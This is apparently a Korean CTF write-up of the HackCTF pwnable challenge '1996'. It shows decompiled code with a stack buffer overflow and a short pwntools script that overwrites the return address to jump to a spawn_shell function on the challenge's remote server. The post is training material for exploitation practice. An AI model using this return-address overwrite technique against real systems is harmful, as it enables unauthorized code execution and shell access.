Wargame Write-Up/HackCTF

[HackCTF] (Pwnable) 1996 풀이

snwo 2020. 5. 26. 12:00

환경변수를 입력받는다. 하지만 host 는 없는변수다.


undefined8 main(void)

{
  basic_ostream *this;
  char *pcVar1;
  char local_418 [1032];
  
  operator<<<std--char_traits<char>>
            ((basic_ostream *)__TMC_END__,"Which environment variable do you want to read? ");
  operator>><char,std--char_traits<char>>((basic_istream *)cin,local_418);
  this = operator<<<std--char_traits<char>>((basic_ostream *)__TMC_END__,local_418);
  this = operator<<<std--char_traits<char>>(this,"=");
  pcVar1 = getenv(local_418);
  this = operator<<<std--char_traits<char>>(this,pcVar1);
  operator<<((basic_ostream<char,std--char_traits<char>> *)this,endl<char,std--char_traits<char>>);
  return 0;
}

cout 로 입력을 받는다. cout 도 bof 가 일어날것같다.

함수목록을 보니 spawn_shell 함수가 주어져서 그냥 BOF 를 해보기로했다.

NX 밖에 걸려있지않는다.


from pwn import *
r=remote("ctf.j0n9hyun.xyz",3013)
#r=process("./1996")
b=ELF("./1996")

pay="x"*0x410
pay+='x'*0x8
pay+=p64(0x400897) #spawn_shell

r.sendline(pay)

r.interactive()

성공적으로 쉘이따진다. 

원래 어떻게푸는건지 궁금해서 찾아보았다.

환경변수는 어그로고, 이렇게푸는게 맞았다.